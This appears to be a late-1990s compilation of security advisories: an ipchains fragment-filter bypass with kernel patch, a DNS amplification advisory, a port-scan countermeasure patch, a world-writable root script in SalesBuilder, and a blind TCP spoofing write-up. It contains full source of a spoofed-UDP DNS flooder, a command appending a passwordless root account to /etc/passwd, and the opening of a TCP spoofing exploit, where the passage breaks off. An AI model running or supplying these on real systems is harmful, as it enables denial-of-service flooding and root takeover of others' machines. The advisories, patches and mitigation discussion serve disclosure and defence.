firewall implementation. In certain situations, it is possible for an
attacker to bypass the packet filter when communicating with machines that
allow incoming packets to specific ports. This attack is a variation
of previously discussed fragmentation attacks, where the attacker uses
fragments to rewrite parts of the TCP or UDP protocol header. In this case
port information is rewritten in order to gain access to ports that should
be blocked by the firewall.

Included in this advisory is a patch to the 2.2.10 Linux kernel that corrects
this vulnerability, and a pointer to example code that demonstrates the
problem.

Problem Description
-------------------

The Linux ipchains firewall code has special provisions for IP fragments that
do not contain enough information for transport protocol header analysis.
Fragments that start at offset 0, and are not long enough to provide complete
transport header information are treated like fragments with an offset > 0
(> 1 in the TCP case). This is the relevant code from ip_fw.c:

        if (offset == 0) {
                unsigned int size_req;
                switch (ip->protocol) {
                case IPPROTO_TCP:
                        /* Don't care about things past flags word */
                        size_req = 16;
                        break;

                case IPPROTO_UDP:
                case IPPROTO_ICMP:
                        size_req = 8;
                        break;

                default:
                        size_req = 0;
                }
                offset = (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req);
        }

As mentioned above, fragments with an offset of 0, that are too short to
provide a full transport protocol header, are treated like non-first fragments.
This allows an attacker to perform the following port rewriting attack:

1. Attacker sends a fragment, with offset 0, a set IP_MF bit, and a full
   transport protocol header which meets the packet filter and is passed to
   the victim machine.

2. Attacker sends a fragment, with offset 0, a set IP_MF bit, and a length of
   4 bytes. This contains the (blocked) ports that the attacker wishes to
   access on the victim machine. This fragment will be accepted by the
   firewall and overlap - in the victim machine's reassembly chain - the port
   information contained in the fragment sent in step 1.

3. Attacker sends a fragment with a cleared IP_MF bit, starting where the first
   fragment left off, that completes the set of fragments.

Depending on the defragmentation strategy of the victim machine's operating
system, it might be necessary to swap steps 1 and 2.

It is important to note that there are two conditions that must be met for a
particular ipchains packet filter to be vulnerable:

1. The packet filter must not be configured with the Linux kernel option
   CONFIG_IP_ALWAYS_DEFRAG. If the packet filter reassembles the fragments
   before doing the firewall checks, then this attack will fail.

2. The packet filter must have a rule to allow non-first fragments to pass.
   The Linux ipchains how-to suggests that either an administrator selects
   CONFIG_IP_ALWAYS_DEFRAG, or implements such a rule. This rule was considered
   to be safe because fragments with an offset of 1 are blocked by the packet
   filter, which prevents attacks based on rewriting the TCP flags.

Fix Information
---------------

The following Linux kernel patch (against version 2.2.10) will close this
vulnerability by blocking packets that could be used to rewrite header
information in this fashion.

It is also possible to reconfigure the ipchains machine to always defragment
packets, or to remove any rule which passes non-first IP fragments through the
firewall ("-f" option of the "ipchains" command). The latter, however, might
introduce incompatibilities, e.g. with applications that transmit large UDP
datagrams across the firewall and hence cause IP fragmentation.

*** linux.old/net/ipv4/ip_fw.c  Wed Jun  9 05:33:07 1999
--- linux/net/ipv4/ip_fw.c      Fri Jul 23 19:20:45 1999
***************
*** 37,42 ****
--- 37,45 ----
   * 19-May-1999: Star Wars: The Phantom Menace opened.  Rule num
   *            printed in log (modified from Michael Hasenstein's patch).
   *            Added SYN in log message. --RR
+  * 23-Jul-1999: Fixed small fragment security exposure opened on 15-May-1998.
+  *              John McDonald <jm@dataprotect.com>
+  *              Thomas Lopatic <tl@dataprotect.com>
   */

  /*
***************
*** 644,650 ****
                default:
                        size_req = 0;
                }
!               offset = (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req);
        }

        src = ip->saddr;
--- 647,666 ----
                default:
                        size_req = 0;
                }
!
!               /* If it is a truncated first fragment then it can be
!                * used to rewrite port information, and thus should
!                * be blocked.
!                */
!
!               if (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req)
!               {
!                       if (!testing && net_ratelimit()) {
!                               printk("Suspect short first fragment.\n");
!                               dump_packet(ip,rif,NULL,NULL,0,0,0,0);
!                       }
!                       return FW_BLOCK;
!               }
        }

        src = ip->saddr;

Demonstration Code
------------------

fragrouter, a component of Nidsbench, has been updated to perform this attack
transparently. This is an excellent open source tool for testing intrusion
detection systems and packet filters provided by Anzen Computing. The version
of fragrouter that performs this attack should be available shortly, at
http://www.anzen.com/research/nidsbench/.

Additional Information
----------------------

data protect would like to thank Dug Song <dugsong@anzen.com> for his help in
implementing this attack.

For information regarding this advisory, please contact
Thomas Lopatic <tl@dataprotect.com> or John McDonald <jm@dataprotect.com>.

The contents of this advisory are Copyright (C) 1999 data protect GmbH,
and may be distributed freely provided that no fee is charged for
distribution, and that proper credit is given.

==========================================
1.5-:Linux 2.2.10 ipchains Advisory (End):
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.6-:Possible Denial Of Service using DNS (begin):
==================================================



SPJ-002-000:

                   .::::::::+[ s0ftpr0ject 99 ]+::::::::.
                   ::::+[ Digital Security for Y2K ]+::::
                   :::'"""`"'"""`"'"""`"'"""`"'"`"'""`:::
                   ::'.g#S$"$S#n. .g#S$"$S#n.     S#n.`::
                   :: $$$$$ $$$$$ $$$$$ $$$$$     $$$$ ::
                   :: $$$$$       $$$$$ $$$$$     $$$$ ::
                   :: `$$$$$$$$$n $$$$$ $$$$$     $$$$ ::
                   ::       $$$$$ $$$$$s$$$$'     $$$$ ::
                   :: $$$$$ $$$$$ $$$$$     $$$$$ $$$$ ::
                   :: `$$$$s$$$S' `$$$$     `$$$$s$$S' ::
                   :::...........:.....:::::..........:::
                   :::+[ Security Advisory, 002-000 ]+:::
                   `::::::::+[ July 19, 1999 ]+:::::::::'


                    Possible Denial Of Service using DNS

                      by |scacco| <scacco@s0ftpj.org>


---[ Systems affected ]-------------------------------------------------------

All systems running Bind (All versions seems affected).



---[ Condition of discovery ]-------------------------------------------------

This misfeature was discovered configuring bind on a Red Hat 5.2 system
shipped with the original cdrom, allowing udp dns requests and without
access lists.


---[ Detailed description ]---------------------------------------------------

All domain name systems resides on port 53 formely called domain. Looking at
rfc and in particular at RedHat system defaults seems that port 53 is enabled
to support udp and tcp requests as specified in /etc/services file:

domain          53/tcp
domain          53/udp

It's possible to flood someone sending spoofed UDP QUERY to the DNS,
because UDP doesn't provide a fruitful authentication process.
Why use DNS QUERY? Simple. We just want to make sure we've got a real advantage
against our nice target so we look for a good I/O ratio. With just a few bytes
(20-30) we can achieve responses of around 400-500 bytes. So we usually
achieve a 20x ratio. Furthemore, every DNS reply will eligit ICMP unreach
packets from the target since no UDP port will be open to accept data.
A modem user compared with large RR of type * (0xFF) will be flooded.                                     *


---[ Exploitation ]-----------------------------------------------------------

/******************************************************************
*                                                                 *
* DOOMDNS       Yet another flooder with 1:x pkts ratio. This one *
*               exploits DNS simple QUERY with spoofed UDPs.      *
*               Since almost every DNS is bound to answer queries *
*               from the void, and since UDP doesn't provide a    *
*               fruitful authentication process cause plain TCP   *
*               does, uh !? ;) here we are.                       *
*                                                                 *
*                              hints by |scacco|, code by FuSyS   *
*                              http://www.s0ftpj.org              *
*                                                                 *
******************************************************************/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>

#define IP_HEAD_BASE            20
#define UDP_HEAD_BASE           8

unsigned long saddr;
int sfd, loop;
char *dns_def[]={/* LISTA ASSENTE */ ,NULL};
char *domains[]={/* LISTA ASSENTE */ ,NULL};

struct DNS_MSG {
        HEADER head;
        char query[255];
};

struct dns_pkt {
        struct iphdr ip;
        struct udphdr udp;
        char data[1000];
};

unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;

  if((addr.s_addr=inet_addr(hostname)) == -1)
  {
    if(!(hostEnt=gethostbyname(hostname)))
    {
        fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname);
        exit(0);
    }
    bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  }
  return addr.s_addr;
}

void forge (unsigned long daddr, unsigned short src, unsigned short dst)
{
        struct sockaddr_in sin;
        struct dns_pkt dpk;
        struct DNS_MSG killer;
        int shoot, len;

        memset(&killer, 0, sizeof(killer));
        killer.head.id=getpid();
        killer.head.rd=1;
        killer.head.aa=0;
        killer.head.opcode=QUERY;
        killer.head.qr=0;
        killer.head.qdcount=htons(1);
        killer.head.ancount=htons(0);
        killer.head.nscount=htons(0);
        killer.head.arcount=htons(0);
        strcat(killer.query, domains[--loop]);
        killer.query[strlen(domains[loop])+2]=0x00FF;
        killer.query[strlen(domains[loop])+4]=0x0001;

        memset(&dpk, 0, sizeof(dpk));

        dpk.udp.source=src;
        dpk.udp.dest=dst;
        len=(12+strlen(killer.query)+5);
        dpk.udp.len=htons(UDP_HEAD_BASE+len);
        memcpy(dpk.data, (void*)&killer, len);

        dpk.ip.ihl=5;
        dpk.ip.version=4;
        dpk.ip.tos=0;
        dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
        dpk.ip.frag_off=0;
        dpk.ip.ttl=64;
        dpk.ip.protocol=IPPROTO_UDP;
        dpk.ip.saddr=saddr;
        dpk.ip.daddr=daddr;

        memset(&sin, 0, sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=dst;
        sin.sin_addr.s_addr=daddr;

        shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,
                0, (struct sockaddr *)&sin, sizeof(sin));
        if(shoot<0)fprintf(stderr, "SPOOF ERROR");
        loop++;
}

void doomzone (void)
{
        unsigned long daddr;
        unsigned short source, dest;

        if(dns_def[loop]==NULL) loop=0;
        daddr=nameResolve(dns_def[loop++]);
        source=htons(1024+(rand()%2000));
        dest=htons(53);
        forge(daddr, source, dest);
}

int main (int argc, char **argv)
{
        int sfdo;
        unsigned int hz=100;

        if(argc<2) {
                fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
                fprintf(stderr, "Use: %s target [n]\n", argv[0]);
                exit(0);
        }

        if(argv[2]) hz=atoi(argv[2]);
        saddr=nameResolve(argv[1]);

        srand(time(NULL));

        if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
                fprintf(stderr, "\nSOCK_RAW Died\n");
                exit(2);
        }
        sfdo=1;
        if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) {
                fprintf(stderr, "\nIP_HDRINCL Died\n");
                exit(3);
        }

        printf("\n\033[1;32mD00M DNS\033[0m");
        printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m");
        printf("\n\033[1;34minithints by |scacco|\033[0m\n\n");

        loop=0;
        while(hz--) {
                doomzone();
                printf("\033[1;34m.\033[0m");
        }
        printf("\n\n");
        return(0);
}


---[Possible fixes ]----------------------------------------------------------

Seems hard to fix this hole due to dns protocol specification, it could be
possible to setup access lists or some sort of packet sanity check, for this
we want suggest you to keep in contact with ISC staff to get a more efficent
solution for this problem.


---[ URLs and references ]----------------------------------------------------

Internet Software Consurtium can be found at http://www.isc.org.
This is also the home of bind.

---[ Contact informations ]---------------------------------------------------

s0ftpr0ject 99 - Digital security for Y2K (s0ftpj)
no-profit security research

Internet site: http://www.s0ftpj.org
E-mail       : staff@s0ftpj.org


All advisories and security documents are available via http at:

http://www.s0ftpj.org (195.32.69.44) courtesy of Metro Olografix
http://www.olografix.org (195.32.69.44)

This document has no copyright, feel free to distribute it without any
limitation. Original copy of this document can be found at out Internet site
for free. You are not allowed to modify this paper without prior notify to
s0ftpr0ject staff at staff@s0ftpj.org.



---[ s0ftpr0ject 99 staff Public PGP Key ]------------------------------------

Type Bits/KeyID    Date       User ID
pub  2600/15A01BB9 1999/07/22 S0ftPj Staff <staff@s0ftpj.org>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQFSAzeXNL8AAAEKKNzvok6FkB24mQUEx5Q4SZ97dQlmx3yNeEvG7aJ/0TDKWWUv
f6a+t1jF8V7JMhV1JxU/z38MgTYRGt6dspWlTLKb543GxBRqOdMohigBu8rUmDEb
UlD9gAav5M+OSY6oNh5a7e/YrPLhOiqxNxBIXQCDgKtIUv9NF8KbcbS96EAmNsuH
UA/hJ2Arlx2wSkmJZgvcpiM6O/1g1OYgg7Gur39SqsNZn0RUKxi463qASGfJT4sa
rpH6clBsVpNei5bf/4Bke5/8dnJL5DzM0twxTUmvdq1Pt1+6sRCd70IsqXPvjZu2
Drx4rzlLItD84xmE9w/vGdLMtPSTPwX7ak2TvhWqBOkqzWJNiRjzi+T6HiNfuqUr
sr90FndiRNJcWCbmPs2TJISLePsi9AVGL5KFfmimdSJPagzWG1FVQhyo2HS4nRWg
G7kABRG0H1MwZnRQaiBTdGFmZiA8c3RhZmZAczBmdHBqLm9yZz6JAVoDBRA3lzS/
2HS4nRWgG7kBAaYiCiQPM05Pr5FkSgjHkVUbgyxwuWkp9MDOxhvFAgcsHJUX2h6V
F02vzDMR2BOvaRhkm43IwXxK490Tp86pbbhC28SiF3TEyHjmu8tMrXo/cX69fcqy
IbvVgHKEIUYR8Sik7mLX9HqUh9qh7e6o4cH5TsCCJxIoqf2Qt4t5HA4m77H1niNP
EqY2HGzvQUPfvTf+KffdLGoAa/NSKJyB8stlWIJ4SAe7EkGscSjcDFvrm25pDT33
JHyBHBdmUY0Kr+gzmg9CuUZUhVtdun0mwZJLicOSUFQeYuPsid+ayggdgfGR7spM
NymPkS2MF8jGOKCa9EqWbn5gBP0uZm5aMrg6+O+s+xNonK0BcFH7iIUAsL9qUHLD
4edFudwxa6XW7LuJoqDVlUzhqA3Ru5Yd8eTD7vbcjR3fRngDpLDu8UhC0MFQSoDW
IWKJ
=i4i0
-----END PGP PUBLIC KEY BLOCK-----

________________________________________________________________________________________________________
1.6-:Possible Denial Of Service using DNS ; rponse (1/2) :
________________________________________________________________________________________________________

>    So it seems that DNS querys can use TCP. BUT what we need is the
> server
>    FORCING the use of TCP. It *seems* we could force this by editing
> the
>     file "/etc/services" and commenting or deleting the UDP entry:
>
>    whois           43/tcp          nicname         # usually to
> sri-nic
>    domain          53/tcp
> >  #domain          53/udp
>    mtp             57/tcp                          # deprecated
>
>    This way, both the *local* name server and *local* resolver would
> use
>    TCP on its domain name related tasks... This means that *local*
> querys
>    would work over TCP.

        That will do nothing. The "/etc/services" is just used to pretty up some
displays as far as DNS is concerned. Remove the entry will do nothing.

>    The problem comes up, when an standard remote client querys a
>    'TCP-forced' system. What happens when such a client starts an UDP
>    query to a TCP service? Is it able to detect it and restart the
> process
>    using TCP?

        Nothing will happen. The query will fail.

>    Unfortunately, I could not found any kind of information on this
> matter.
>    It seems to me that this is an unspecified case. It seems that UDP
> & TCP
>    are treated as separete worlds... I think that, in the best case,
> this
>    will depend on vendor implementation, and not as an standard
> behaviour.

        Every implementation I've ever seen will assume that a server that doesn't
respond to UDP queries is dead. Even zone transfers, which do use TCP, are
almost always preceded by an essential UDP fetch of the zone serial number
to decide that the transfer is necessary.

>    Besides that, we have de UDP/TCP interoperation problem mentioned
>    before. This would imply reconfiguring or patching all the DNS
> servers
>    *and clients* in the world, among other things... So it 'seems'
> that it
>    is not practical approach. ;P

        No client changes are required. Clients can still use UDP to query their
own name servers. Name servers would have to force TCP on queries from
remote name servers.

>    Perhaps, It may be interesting a review or a new generation of the
>    standard. I, honestly, ignore if this it's being done. Anyway,
> given
>    what we have today it's *the* long term solution, isn't it? ;P.

        A better solution is a quick UDP 'handshake' before a remote server or
client is authorized to use a name server. Thus, if you wish to use a name
server, you'd send a UDP 'connection request' packet to it and it would
reply with a key that you could use for future requests. Since the key would
be sent to the victim, and you couldn't amplify without it, the attack would
be gone.

        The problem is, over the Internet at large, name servers need to connect to
large numbers of different name servers, as opposed to the same ones over
and over. So this would have some impact.

        The important thing to realize is that the first step to fixing this is
name servers not providing server-client service to anyone. Once the
server-client service is restricted to 'local' IPs, the server-server
protocol can be locked down.

        DS

_________________________________________________________________________________________________________
1.6-:Possible Denial Of Service using DNS ; rponse (2/2) :
_________________________________________________________________________________________________________

> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_0018_01BEE35A.297221E0
> Content-Type: text/plain;
>       charset="iso-8859-1"
> Content-Transfer-Encoding: 8bit
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hi,
>
> I must admit that I have been really surprised seeing people's
> 'reaction'
> on this particular matter. We are used to see really good debates when
> something 'c00l' comes up to the scene... But this time, nothing: no
> code review, no debate about possible solutions, ... :?.

        The only real solution is to have ISP actually police the
        source addresses of packets entering their networks from
        their customers.  There is nothing new here.  Good ISP's
        do this already, bad ones don't.  The best ones will even
        notify the customers that they have a problem when they
        see attacks like this lauched from within the customer's
        network.

        Mark
--
Mark Andrews, Internet Software Consortium
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: marka@isc.org



================================================
1.6-:Possible Denial Of Service using DNS (End):
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.7-: to prevert port scanning in linux 2.0.x (begin):
======================================================



Hi,

        It seems that some bugtraq readers still runs linux 2.0.3[67].
        In order to prevent SYN, FIN, Xmas, NULL tcp scan and
        maybe connect() scan (for exaple it's true with nmap,
        false with strobe) it's possible to apply this kernel patch.

        This stupid patch change the sequence
                SYN ---> closed port
                <--- RST
        to
                SYN ---> closed port
                <--- SYN|ACK
                ACK --->
                <--- RST

        and answers RST to FIN, Xmas and NULL tcp flags even
        if the port is open, like win*.

        If an attacker scans a patched host it gets all
        ports are open, so it gets nothing.

        The patch is tested on linux 2.0.36, maybe it's
        good even for 2.0.37.

bye,
antirez

diff -u -r linux/net/ipv4/tcp_input.c /usr/src/linux-2.0.36/net/ipv4/tcp_input.c
--- linux/net/ipv4/tcp_input.c  Sat Jul 17 11:21:01 1999
+++ /usr/src/linux-2.0.36/net/ipv4/tcp_input.c  Sat Jul 17 12:00:13 1999
@@ -46,6 +46,7 @@
  *                                     </RANT>
  *     George Baeslack         :       SIGIO delivery on accept() bug that
  *                                     affected sun jdk.
+ *     Salvatore Sanfilippo    :       Prevents SYN, FIN, Xmass, NULL scan.
  */

 #include <linux/config.h>
@@ -2464,6 +2465,12 @@
                                        }
                                }
 #endif
+                               tcp_send_reset(daddr,saddr,th,sk->prot,opt,dev,0, 255);
+                       }
+
+                       /* resets FIN, Xmas, NULL */
+                       if (!th->syn && !th->ack && !th->rst && ip_chk_addr(daddr)==IS_MYADDR)
+                       {
                                tcp_send_reset(daddr,saddr,th,sk->prot,opt,dev,0, 255);
                        }

diff -u -r linux/net/ipv4/tcp_output.c /usr/src/linux-2.0.36/net/ipv4/tcp_output.c
--- linux/net/ipv4/tcp_output.c Sat Jul 17 11:21:01 1999
+++ /usr/src/linux-2.0.36/net/ipv4/tcp_output.c Sat Jul 17 11:56:35 1999
@@ -759,7 +759,7 @@
        t1->source = th->dest;
        t1->doff = sizeof(*t1)/4;
        t1->rst = 1;
-
+
        if(th->ack)
        {
                t1->seq = th->ack_seq;
@@ -770,7 +770,15 @@
                if(!th->syn)
                        t1->ack_seq = th->seq;
                else
+               {
                        t1->ack_seq = htonl(ntohl(th->seq)+1);
+                       /* send bogus syn/ack */
+                       t1->rst = 0;
+                       t1->syn = 1;
+                       t1->ack = 1;
+                       if (th->fin)
+                               t1->fin = 1; /* as 2.0.3x we answer SAF */
+               }
        }

====================================================
1.7-: to prevert port scanning in linux 2.0.x (End):
________________________________________________________________________________________________________





________________________________________________________________________________________________________
1.8-:World writable root owned script in SalesBuilder (RedHat 6.0) (begin):
===========================================================================



SPJ-001-000:

                   .::::::::+[ s0ftpr0ject 99 ]+::::::::.
                   ::::+[ Digital Security for Y2K ]+::::
                   :::'"""`"'"""`"'"""`"'"""`"'"`"'""`:::
                   ::'.g#S$"$S#n. .g#S$"$S#n.     S#n.`::
                   :: $$$$$ $$$$$ $$$$$ $$$$$     $$$$ ::
                   :: $$$$$       $$$$$ $$$$$     $$$$ ::
                   :: `$$$$$$$$$n $$$$$ $$$$$     $$$$ ::
                   ::       $$$$$ $$$$$s$$$$'     $$$$ ::
                   :: $$$$$ $$$$$ $$$$$     $$$$$ $$$$ ::
                   :: `$$$$s$$$S' `$$$$     `$$$$s$$S' ::
                   :::...........:.....:::::..........:::
                   :::+[ Security Advisory, 001-000 ]+:::
                   `::::::::+[ July 12, 1999 ]+:::::::::'


                    World Writable File in SalesBuilder

                      by |scacco| <scacco@s0ftpj.org>


---[ Systems affected ]-------------------------------------------------------

All systems running Acushop SalesBuilder.



---[ Condition of discovery ]-------------------------------------------------

This bug was discovered installing software from the application cd shipped
with RedHat Linux 6.0 as root.



---[ Detailed description ]---------------------------------------------------

The startup file .sbstart linked from /usr/bin/salesbuilder and
/usr/local/bin/salesbuilder is set world writable so anyone can add code
to it and possibly get root locally. .sbstart can be found (after
installing it from RedHat application cd) at /usr/local/bin/acushop/.sbstart.
If this application was installed as root you will see this permission
set:
-rwxrwxrwx   1 root     root          163 Jun 29 19:45 .sbstart
Seems it can be executed and write by everyone. Someone can simply add a line
line echo "r00t::0:0::/root:/bin/sh" >> /etc/passwd or make a script executed
with root uid and gid.
Note that this file is set hidden using . as prefix so modifications are
really hard to discover from a not-so expert system administrator.



---[ Exploitation ]-----------------------------------------------------------

Just edit the file with a normal text editor like vi, joe, pico or emacs and
add a line like:
echo "r00t::0:0::/root:/bin/sh" >> /etc/passwd
Of course there are many ways to get this hole usable, you can figure out how.



---[Possible fixes ]----------------------------------------------------------

Possible fix is to install this software not as root, and if it necessary
do not set it world writable. Acushop was advised of this vulnerability but
seemed not really interested in security.



---[ URLs and references ]----------------------------------------------------

Acushop Sales Builder can be found at http://www.acushop.com.



---[ Contact informations ]---------------------------------------------------

s0ftpr0ject 99 - Digital security for Y2K (s0ftpj)
no-profit security research

Internet site: http://www.s0ftpj.org
E-mail       : advisory@s0ftpj.org
             : staff@s0ftpj.org

All advisories and security documents are available via http at:

http://www.s0ftpj.org (195.32.69.44) courtesy of Metro Olografix
http://www.olografix.org (195.32.69.44)

This document has no copyright, feel free to distribute it without any
limitation. Original copy of this document can be found at out Internet site
for free. You are not allowed to modify this paper without prior notify to
s0ftpr0ject staff at staff@s0ftpj.org.



---[ s0ftpr0ject 99 staff Public PGP Key ]------------------------------------

Type Bits/KeyID    Date       User ID
pub  2600/15A01BB9 1999/07/22 S0ftPj Staff <staff@s0ftpj.org>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQFSAzeXNL8AAAEKKNzvok6FkB24mQUEx5Q4SZ97dQlmx3yNeEvG7aJ/0TDKWWUv
f6a+t1jF8V7JMhV1JxU/z38MgTYRGt6dspWlTLKb543GxBRqOdMohigBu8rUmDEb
UlD9gAav5M+OSY6oNh5a7e/YrPLhOiqxNxBIXQCDgKtIUv9NF8KbcbS96EAmNsuH
UA/hJ2Arlx2wSkmJZgvcpiM6O/1g1OYgg7Gur39SqsNZn0RUKxi463qASGfJT4sa
rpH6clBsVpNei5bf/4Bke5/8dnJL5DzM0twxTUmvdq1Pt1+6sRCd70IsqXPvjZu2
Drx4rzlLItD84xmE9w/vGdLMtPSTPwX7ak2TvhWqBOkqzWJNiRjzi+T6HiNfuqUr
sr90FndiRNJcWCbmPs2TJISLePsi9AVGL5KFfmimdSJPagzWG1FVQhyo2HS4nRWg
G7kABRG0H1MwZnRQaiBTdGFmZiA8c3RhZmZAczBmdHBqLm9yZz6JAVoDBRA3lzS/
2HS4nRWgG7kBAaYiCiQPM05Pr5FkSgjHkVUbgyxwuWkp9MDOxhvFAgcsHJUX2h6V
F02vzDMR2BOvaRhkm43IwXxK490Tp86pbbhC28SiF3TEyHjmu8tMrXo/cX69fcqy
IbvVgHKEIUYR8Sik7mLX9HqUh9qh7e6o4cH5TsCCJxIoqf2Qt4t5HA4m77H1niNP
EqY2HGzvQUPfvTf+KffdLGoAa/NSKJyB8stlWIJ4SAe7EkGscSjcDFvrm25pDT33
JHyBHBdmUY0Kr+gzmg9CuUZUhVtdun0mwZJLicOSUFQeYuPsid+ayggdgfGR7spM
NymPkS2MF8jGOKCa9EqWbn5gBP0uZm5aMrg6+O+s+xNonK0BcFH7iIUAsL9qUHLD
4edFudwxa6XW7LuJoqDVlUzhqA3Ru5Yd8eTD7vbcjR3fRngDpLDu8UhC0MFQSoDW
IWKJ
=i4i0
-----END PGP PUBLIC KEY BLOCK-----

=========================================================================
1.8-:World writable root owned script in SalesBuilder (RedHat 6.0) (End):
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.9-:Linux blind TCP spoofing, act II + others (begin):
=======================================================

Hello,
Thanks to libnids development, some features/bugs in Linux kernel were found.
I notified kernel mantainers in May, but they didn't seem interested.

1. Blind TCP spoofing against 2.0.36/37
        Let's label a Linux server as A, an attacker's host as B, the spoofed
host as C. If the following conditions hold:

a) C is down (disabled)
b) A is idle; more precisely, during the attack A should not send any
   packets beside ones generated in response to the packets sent by B
c) during the attack, no packet sent from B to A can be dropped by a router

then an attacker can spoof a TCP stream connecting A and C.
        As we see, these conditions are not trivial. However, b) and c) can
hold if an attack is conducted during low network traffic period; and there
are ways to fulfill a) :)
        Firstly, let's have a look how Linux 2.0.x reacts to a non-typical
TCP segment sent as a third packet of a three way handshake. In the example
below we send to a Linux server (A) packets from B with source address set to
C.
Time        packets with forged source address    packets sent by the server
0             flags=S,seq=X
1                                              flags=SA,seq=Y,ack_seq=X+1
2             flags=A,seq=X+1, ack_seq=Y-1000
3                                                no packet generated !
4             flags=A,seq=X+1,ack_seq=Y+1000
5                                               flags=R,seq=Y+1000
                                                a packet IS generated !
6             flags=A,seq=X+1,ack_seq=Y+1
7                                               flags=A,seq=Y+1,ack_seq=X+1
                                         socket enters "established" state
8             flags=A,seq=X+1,ack_seq=Y+1000
9                                                no packet sent !

        So, when an attacker sends (as a third packet of tcp handshake) a
packet with too small ack_seq, the server sends no packets (doesn't it
violate RFC793 ?). When a packet with too big ack_seq is sent, the server
sends a packet (with a reset flag).
        Now let's recall another Linux feature. Many OSes (including Linux)
assign to ID field of an outgoing IP datagram consecutive, increasing
numbers (we forget about fragmentation here; irrelevant in this case). That
enables anyone to determine the number of packets sent by host A: it's enough
to ping it, note the value of ID field of received ICMP_REPLY packet, wait x
seconds (or perform some other actions), then again ping host A. The
difference between ID fields of received ICMP_REPLY packets is equal to (the
number of packets sent by A in x second) +1. "Idle portscan" by antirez uses
this technique.
        Having sent an initial TCP segment with SYN flag, our attack will
consist of a set of "probes". In each probe, we send a (forged) TCP packet
with flags=A and (arbitrary) ack_seq=X, then we send an ICMP_ECHO request, and
finally note the ID field of received ICMP_REPLY packet. If this ID field has
incremented by 1 since the last time, only one packet were sent by server
(ICMP_REPLY), so we must have chosen too small X (that is, ack_seq). If ID
field has incremented by 2, two packes were sent (TCP with reset flag and
ICMP_REPLY), so we must have chosen too big ack_seq. This way we can perform
a binary search in space of ack_seq's, determining exact ack_seq after at most
32 probes. Note that finding correct ack_seq can be verified by sending a
probe with previously found too big ack_seq; if connection is in "established"
state, no packet will be generated by server.
        After we have found the Holy Graal of blind spoofers, the correct
value of ack_seq, nothing will prevent us from completing 3whs and sending
arbitrary data.
        At the end of this post I enclosed an exploit; don't use it without
the permission of the target host's admin. I tested it on 2.0.37, 36 and 30;
probably all 2.0.x are affected. It requires libnet (which can be downloaded
from www.packetfactory.net). I compiled it on Linux glibc system. The
following simple patch (against 2.0.37) enforces sending a reset in response
to a packet with too small ack_seq (of course, only when we are in SYN_RECV
state). This patch also cures the bug described in point 3.

-------------------------CUT HERE--------------------------------------
--- linux-2.0.37/net/ipv4/tcp_input.c.orig      Fri Jul 23 17:25:14 1999
+++ linux/net/ipv4/tcp_input.c  Fri Jul 23 17:29:43 1999
@@ -2764,7 +2764,18 @@
                kfree_skb(skb, FREE_READ);
                return 0;
        }
-
+
+        if (sk->state==TCP_SYN_RECV && th->ack && skb->ack_seq!=sk->sent_seq)
+        {
+                /*
+                 *      Quick fix to detect too small ack_seq
+                 *      in 3rd packet of 3ws and force a RST segment.
+                 */
+                 tcp_send_reset(daddr, saddr, th,sk->prot, opt, dev,0,255);
+                 kfree_skb(skb, FREE_READ);
+                 return 0;
+        }
+
 rfc_step6:
        /*
         *      If the accepted buffer put us over our queue size we
-------------------------CUT HERE--------------------------------------

2. A byte of urgent data can be received in normal data stream. Let's
consider the following scenario:
Time              Client app             Server app
0                                     bind(...), listen(...), accept(...)
1                 connect(...)
2                                     accept(...) returns newsock
3      send(sockfd,"AB",2,MSG_OOB)
4      send(sockfd,"XY",2,MSG_OOB)
5                                     n=read(newsock,buffer,1024)

function read returns 3, buffer contains "ABX", though byte 'B' was marked
as urgent. Verified with 2.0.37 and 2.2.9-ac1, probably all versions are
vulnerable. Note that this behaviour can be exploited to bypass NIDS.

3. Weird handling of 3rd stage of TCP handshake.

Time        packets sent by a client        packets sent by a server
0          flags=S,seq=X
1                                         flags=SA,seq=Y,ack_seq=X+1
2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz"
3                                        flags=A,seq=Y+1,ack_seq=X+4
                                           no data is returned to app
4                                        flags=SA,seq=Y+1,ack_seq=X+4
5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567"
6                                        flags=A,seq=Y+1,ack_seq=X+8
                                          app receives "4567"
which is inconsitent. Either the packet sent in time 2 should be discarded and
app should receive "1234567", or app should receive "xyz4567" .
Verified on 2.0.36, 2.2.x behaves correctly (sends reset in time 3).
Usually it is not a problem, but IDS developers can be worried.

Save yourself,
Nergal

/* by Nergal */

#include "libnet.h"
#include <netinet/ip.h>
#include <netdb.h>
int sock, icmp_sock;
int packid;
unsigned int target, target_port, spoofed, spoofed_port;
unsigned long myaddr;
int
get_id ()
{
  char buf[200];
  char buf2[200];
  int n;
  unsigned long addr;
  build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H);
